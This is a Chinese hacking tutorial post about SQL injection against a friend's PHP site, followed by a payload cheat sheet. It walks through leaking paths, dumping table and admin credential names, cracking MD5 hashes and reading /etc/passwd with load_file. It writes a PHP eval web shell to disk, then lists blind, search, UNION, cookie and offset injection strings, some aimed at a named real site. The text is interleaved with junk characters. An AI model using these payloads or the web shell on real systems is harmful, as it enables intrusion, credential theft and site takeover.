我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~! Y/ A6 }4 l: b" X
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?! Q8 F- }# w, X
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
. S: I3 Y5 s! ?如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)( N9 n4 k* \5 c2 `6 T
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
" t) t" I& i( F这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:/ K% b5 g; U: G' p( ?
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in( r: y6 G6 a/ w4 G i6 H
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入0 y, K; T5 g. @4 J/ @3 V
9 x* P/ R4 h; b3 d, {7 P$ l2 j2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
3 Z& C! C5 A- f3 i% U% f2 e3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意# Q/ [% i. V# F7 S
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息) y0 P3 R2 v4 T% O' h
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
9 ~) { q( e3 ~2 X6 P有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
! x. l2 |; p* X; k2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
6 m9 V% \9 E6 ~我就用的是第二个思路,
( I! F2 a; ~1 W! B+ Q1 F提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1--
7 @% R2 c1 P3 H8 u$ Z6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
% S5 A+ Z( v5 A; e提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--- } }% E" N0 n& H( E* j
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
# Q* s) h \. Z/ \, t" @0 R! ~7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
2 [$ W# u, G c H6 ^) | a% G: ^6 O是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
0 @+ p; ?6 X0 I/ _/ j提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
8 R* ?8 S- J& n. H% m' X6 t/ _* i. ?然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,4 G8 U; N2 }. W. e' x! _ t
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......5 e6 g4 a$ I; y K3 T3 }" S
下面是一些很普遍注入方式资料:$ Y7 V$ `+ f! R( b
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
. ~/ o* a& q7 N' q8 [: t拆半法
) ?0 }1 }$ n: u( u4 K######################################
( w5 p" J0 b- E9 wand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。% R1 p7 I! {1 u; u0 _5 R
and exists (select * from admin)
$ A4 B6 e, x7 B2 jand exists(select id from admin)
& n1 m( Q6 d1 i6 x/ i! fand exists(select id from admin where id=1)
5 p6 I2 i' N8 {& R2 W! Rand exists(select id from admin where id>1)
- g1 H! w# T1 U2 i3 U然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 5 @% m# V& ?" Z% Q, u/ l" n3 c
and exists (select username from admin) u, R7 j3 n2 N5 h
and exists (select password from admin)
# G9 x* A! i: i2 J7 `and exists (select id from admin where len(username)<10 and id=1); i) F# L4 }2 i$ S: W! `- ^
and exists (select id from admin where len(username)>5 and id=1)4 W1 g; O1 Q3 g
and exists (select id from admin where len(username)=6 and id=1)
- w) }: P: V: K$ u2 w5 Yand exists (select id from admin where len(password)<10 and id=1)
/ m; u* ]" g) v9 D7 M" q+ |/ qand exists (select id from admin where len(password)>5 and id=1)
4 n* G0 Y. @, g' D$ ~6 H3 ~and exists (select id from admin where len(password)=7 and id=1)9 y1 p- W! F# X% g9 o+ M
and (select top 1 asc(mid(username,1,1)) from admin)=97
$ K: J6 [+ v: y" t4 r返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
% `' Z2 z7 L8 J0 F: `猜第二位把username,1,1改成username,2,1就可以了。
# [6 U* E4 ]( E猜密码把username改成password就OK了+ | H; i1 }% S' K6 u
##################################################
/ E n7 t8 v- \4 L, J搜索型注入: q- S+ m' D! i4 D% m8 P& R6 q7 ?
##################################
4 ]( `2 w- \6 ]0 q%' and 1=1 and '%'='
: W6 I; W# G M7 u% [+ s%' and exists (select * from admin) and '%'='3 W5 @- J$ l {) V* N4 n
%' and exists(select id from admin where id=1) and '%'='
5 {( S6 b4 Z& A%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
: t" p+ ?8 h: _/ v. I. U%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
$ X% {& L2 P5 d6 N: a, ~+ U8 h%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='# |( D6 ~* n, T) K( x
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'=', O6 W; n( T7 d$ D
对于MSSQL数据库,后面可以吧 and '%'='换成--
. p' c, a. z7 G# b% A- B$ {还有一点搜索型注入也可以使用union语句。
2 u# X- T6 N7 J2 j########################################################, u e8 m" ^. r. U4 o* Z
联合查询。" o5 R, }& r/ o) |* t
#####################################5 M( l9 a9 R% K" {( L1 _. p
order by 10; f4 y# \) M; E2 ?3 A. h/ d
and 1=2 union select 1,2,3,4,5,6,7,8,9,10; ?+ E8 b" _) y) K( x8 c" x
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin u* o1 D! r# L
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1$ D8 v. T- @7 L1 |- T5 P7 u$ Z
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
* |- o/ Y* k. L. W###################################( K; ^! K S* d! a
cookie注入( S. h* G- E. l8 T
###############################
6 d U, z2 e& O4 hhttp://www.******.com/shownews.asp?id=127( p# q+ n% G4 _/ C* ~' n- | w
http://www.******.com/shownews.asp$ C, h( S" [3 r2 I+ |4 X+ m
alert(="id="+escape("127"));$ T3 b, ?) X* c* F5 `$ W. \
alert(="id="+escape("127 and 1=1"));7 P+ s( }! c9 K
alert(="id="+escape("127 order by 10"));: r$ M$ c: R4 Z9 k, K$ M
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));, ~3 b* \& S& w5 |
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
+ x2 F9 @6 I2 I0 X3 c这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。, i$ Y% h* K. [# }0 d% }6 R
###################################- w# E+ k1 |: U5 \* u
偏移注入
1 G, z- ?8 _6 g* A" @* z###########################################################! e6 D$ O8 Q+ h5 f" H
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin$ Q7 C7 F3 z* P" I/ F6 R
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin/ c& I9 N8 o' r, H# a ~7 u4 k
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
& S2 p- g( W# G& Z% `union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id): u/ t$ u& x5 c" D
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id): v2 R: f2 Z8 p0 }
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)! N, N" x$ H; Y8 u8 z: H# I7 x
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
9 b: q; K8 F/ ?a.id=d.id)) ]( `$ l& ?/ \+ W) x/ ]
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)$ W% j7 u0 V1 `8 e# L3 x
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
- Y' g e8 `% y! N5 \. ]0 _" q" q/ A
" p$ p0 [% J* W+ y d============================================================================================================
) o( ?+ t6 s" Z1 C1.判断版本1 G& N; d# M) b6 A
and ord(mid(version(),1,1))>514 Z3 b5 `1 h a
返回正常,说明大于4.0版本,支持ounion查询( s5 C1 P f& `: T* a( g8 b, \
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解4 K [* M& A8 ?' H* L C5 P) X
and 2=4 union select 1,2,3,4,5,6,7,8,9--
$ N7 v, T; ]! ^' T5 D$ a+ u3.查看数据库版本及当前用户,7 ^3 ]% S- ~3 o0 t/ k* j
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--/ _# k% K7 Q5 r+ x% ?% h
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,2 S+ R! N! w: ]
4.判断有没有写权限
) k$ e, I* ?5 Jand (select count(*) from MySQL.user)>0-- & x! ]$ Q8 h3 @7 g8 l8 q( y
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1/ p1 |" b% [+ T: b# ~
用不了这个命令,就学习土耳其黑客手法,如下( Z$ K; A9 y; Y+ D2 {& }
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--/ F' K& [! k# d! \4 J5 H, y; f
6.爆表,爆库
5 ]! p% n5 P0 N* D9 `+ Hand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--, U" W4 l0 a* k1 U
7.爆列名,爆表+ Z' Z1 B5 w! H- w0 M
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
9 F: a4 i4 j; r; Y- {8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
, s* S( K; T5 x4 s7 ^2 {and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
; B9 H' S0 r8 |. K: g' H9.爆字段内容
: ~8 D8 ?* u1 @ L) `' land+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
: s8 T3 N" C9 G& ]. o4 Rhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |